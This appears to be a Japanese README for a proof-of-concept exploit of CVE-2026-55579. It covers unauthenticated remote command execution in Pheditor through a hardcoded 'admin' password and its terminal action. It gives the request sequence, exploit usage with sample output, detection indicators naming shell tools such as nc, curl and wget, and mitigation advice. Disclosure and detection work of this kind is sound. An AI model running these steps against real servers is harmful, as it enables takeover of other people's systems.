
CVE-2026-55579 – ハードコードされたデフォルトパスワード"admin"を介したPheditorにおける認証不要のRCE。ファイルアップロードと端末実行を備えた完全なPythonエクスプロイト。依存関係なし。
要約: Pheditor(全バージョン)には、ソースコードに ハードコードされたデフォルト管理者パスワード(
admin)が埋め込まれています。初回ログイン時にパスワード変更を強制する機能はなく、視覚的な警告のみです。未認証の攻撃者は誰でも管理者としてログインし、ビルトインの ターミナルパネル(action=terminal)を悪用して、Webサーバーの権限で任意のOSコマンドを実行できます。ファイルアップロード機能と組み合わせることで、未認証のリモートコード実行(RCE) に至ります。
この脆弱性は、pheditor.php(11行目)にパスワード admin のSHA‑512ハッシュがハードコードされていることに起因します。
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
このハッシュは次のコマンドで生成されます。
echo -n 'admin' | sha512sum
これが致命的である理由:
pheditor.php 1956–1958行)。admin/admin でログインすると、攻撃者は以下に完全アクセスできます。
action=terminal)action=upload)action=open/action=save)レート制限、ロックアウト、追加の認証要素は一切ありません。
攻撃は非常に単純で、推測は一切不要です。
pheditor.php に pheditor_password=admin を含む POST リクエストを送信します。サーバーはセッションクッキーを設定します。token JavaScript変数を解析します。POST リクエストを送信します。
action=terminaltoken=<取得したトークン>command=<OSコマンド>dir=(オプション)<pre> タグ内に返され、簡単に解析できます。別の方法として、攻撃者はWebシェルをアップロードしたり、アプリケーションファイルを上書きしたりすることもできます。
公式リポジトリをクローンし、ローカルサーバーを起動します。
git clone https://github.com/pheditor/pheditor.git /tmp/pheditor
cd /tmp/pheditor
php -S localhost:8080 pheditor.php &
提供されたPythonエクスプロイトは、Python標準ライブラリのみに依存しています(外部依存関係なし)。argparseベースのCLI、高度なエラーハンドリング、詳細出力モード、タイムアウト制御を備えています。
python3 exploit.py http://localhost:8080/pheditor.php "id; hostname; whoami"
[*] Logging in with password: admin
[+] Login successful
[*] Extracting CSRF token...
[+] Token: a1b2c3d4e5f6...
[*] Executing: id; hostname; whoami
==================================================
Command Output:
==================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu
www-data
==================================================
エクスプロイトが成功すると、攻撃者は以下を入手します。
root)で実行されている場合、攻撃者はホストの完全な制御を獲得。Pheditorは開発環境や軽量ファイルマネージャーとしてよく使用されるため、攻撃者はこれを容易に発見し悪用して初期足がかりを得ることができます。
pheditor_password=admin など)を監視する。環境内で侵害の兆候を監視してください。
pheditor.php への POST リクエストで pheditor_password=admin または action=terminal がないか確認。sh, bash, nc, curl, wget を含むもの)。攻撃チェーンと追加のペイロードの詳細については、ANALYSIS.md を参照してください。
免責事項: このリポジトリには、防御、教育、および許可されたセキュリティテスト を目的とした Proof of Concept(PoC)が含まれています。所有していない、または明示的な書面による許可を得ていないシステムに対してこのコードを使用しないでください。著者は誤用に対する一切の責任を負いません。
| 属性 | 詳細 |
|---|
| CVE識別子 | CVE-2026-55579 |
| 影響を受けるソフトウェア | Pheditor(最新HEADまでの全バージョン) |
| 修正バージョン | 未リリース(ベンダーパッチ未公開;回避策が必要) |
| 脆弱性クラス | CWE-798: ハードコードされた認証情報の使用 |
| CVSS v3.1 スコア | 9.8(緊急) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証の必要性 | 不要 – デフォルトの認証情報は公然と知られている |
| 検証状況 | Pheditor の新規インストールで確認済み |